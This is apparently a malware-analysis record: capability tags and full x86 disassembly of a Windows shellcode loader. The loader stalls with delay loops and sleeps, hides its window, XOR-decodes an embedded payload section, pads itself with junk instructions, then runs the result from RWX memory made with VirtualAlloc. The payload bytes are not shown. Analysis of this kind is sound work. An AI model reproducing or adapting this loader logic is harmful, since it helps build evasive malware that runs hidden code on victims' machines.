Function at 0x401090
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1bf20
call fcn.00401450
mov eax, dword [0x434f14]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1bf14], 0
jmp 0x4010c2
mov eax, dword [ebp - 0x1bf14]
add eax, 1
mov dword [ebp - 0x1bf14], eax
cmp dword [ebp - 0x1bf14], 0x3b9aca00
jge 0x4010d1
nop
jmp 0x4010b3
inc eax
dec ebp
dec eax
inc ebp
push 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
inc eax
dec ebp
dec eax
inc ebp
push 0x1bf02
push 0
lea ecx, [ebp - 0x1bf08]
push ecx
call fcn.00402530
add esp, 0xc
mov byte [ebp - 0x1bf0d], 0x55
mov byte [ebp - 0x1bf0e], 0xe8
mov byte [ebp - 0x1bf0f], 0xe9
call section..text
movzx edx, al
cmp edx, 1
jne 0x401359
mov dword [ebp - 0x1bf0c], 0
jmp 0x40113f
mov eax, dword [ebp - 0x1bf0c]
add eax, 1
mov dword [ebp - 0x1bf0c], eax
cmp dword [ebp - 0x1bf0c], 0x1bf02
jge 0x401357
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
test edx, edx
je 0x4011d2
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0d]
cmp ecx, edx
je 0x4011d2
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0e]
cmp ecx, edx
je 0x4011d2
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0f]
cmp ecx, edx
je 0x4011d2
inc eax
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0d]
xor ecx, edx
mov eax, dword [ebp - 0x1bf0c]
mov byte [ebp + eax - 0x1bf08], cl
dec eax
jmp 0x401352
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
test edx, edx
je 0x40122f
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0d]
cmp ecx, edx
je 0x40122f
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0e]
cmp ecx, edx
je 0x40122f
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
movsx edx, byte [ebp - 0x1bf0f]
cmp ecx, edx
jne 0x401352
mov eax, dword [ebp - 0x1bf0c]
movzx ecx, byte [eax + section..dvwa]
test ecx, ecx
jne 0x40125d
inc eax
dec ebp
dec eax
inc ebp
mov edx, dword [ebp - 0x1bf0c]
mov eax, dword [ebp - 0x1bf0c]
mov cl, byte [eax + section..dvwa]
mov byte [ebp + edx - 0x1bf08], cl
mov edx, dword [ebp - 0x1bf0c]
movzx eax, byte [edx + section..dvwa]
movsx ecx, byte [ebp - 0x1bf0d]
cmp eax, ecx
jne 0x401288
mov edx, dword [ebp - 0x1bf0c]
mov al, byte [ebp - 0x1bf0d]
mov byte [ebp + edx - 0x1bf08], al
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
movsx eax, byte [ebp - 0x1bf0e]
cmp edx, eax
jne 0x4012ea
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
xor edx, 0xb
mov eax, dword [ebp - 0x1bf0c]
mov byte [ebp + eax - 0x1bf08], dl
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
inc eax
dec ebp
dec eax
inc ebp
nop
mov ecx, dword [ebp - 0x1bf0c]
movsx edx, byte [ebp + ecx - 0x1bf08]
xor edx, 0x2b
mov eax, dword [ebp - 0x1bf0c]
mov byte [ebp + eax - 0x1bf08], dl
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
movsx eax, byte [ebp - 0x1bf0f]
cmp edx, eax
jne 0x401352
inc eax
dec ebp
dec eax
inc ebp
mov ecx, dword [ebp - 0x1bf0c]
movzx edx, byte [ecx + section..dvwa]
xor edx, 0x43
mov eax, dword [ebp - 0x1bf0c]
mov byte [ebp + eax - 0x1bf08], dl
push 2
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
inc eax
dec ebp
dec eax
inc ebp
nop
nop
mov ecx, dword [ebp - 0x1bf0c]
movsx edx, byte [ebp + ecx - 0x1bf08]
xor edx, 0x33
mov eax, dword [ebp - 0x1bf0c]
mov byte [ebp + eax - 0x1bf08], dl
jmp 0x401130
jmp 0x401360
push 1
call fcn.004046e4
mov dword [ebp - 0x1bf1c], 5
mov dword [ebp - 0x1bf18], 0
jmp 0x401385
mov ecx, dword [ebp - 0x1bf18]
add ecx, 1
mov dword [ebp - 0x1bf18], ecx
cmp dword [ebp - 0x1bf18], 0xc3500
jge 0x4013ee
cmp dword [ebp - 0x1bf1c], 0x18546
jne 0x4013dd
push 0x40
push 0x3000
push 0x1bf02
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1bf20], eax
nop
push 0x1bf02
lea edx, [ebp - 0x1bf08]
push edx
mov eax, dword [ebp - 0x1bf20]
push eax
call fcn.00401fb0
add esp, 0xc
nop
nop
nop
nop
call dword [ebp - 0x1bf20]
mov ecx, dword [ebp - 0x1bf1c]
add ecx, 1
mov dword [ebp - 0x1bf1c], ecx
jmp 0x401376
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040143a
mov esp, ebp
pop ebp
ret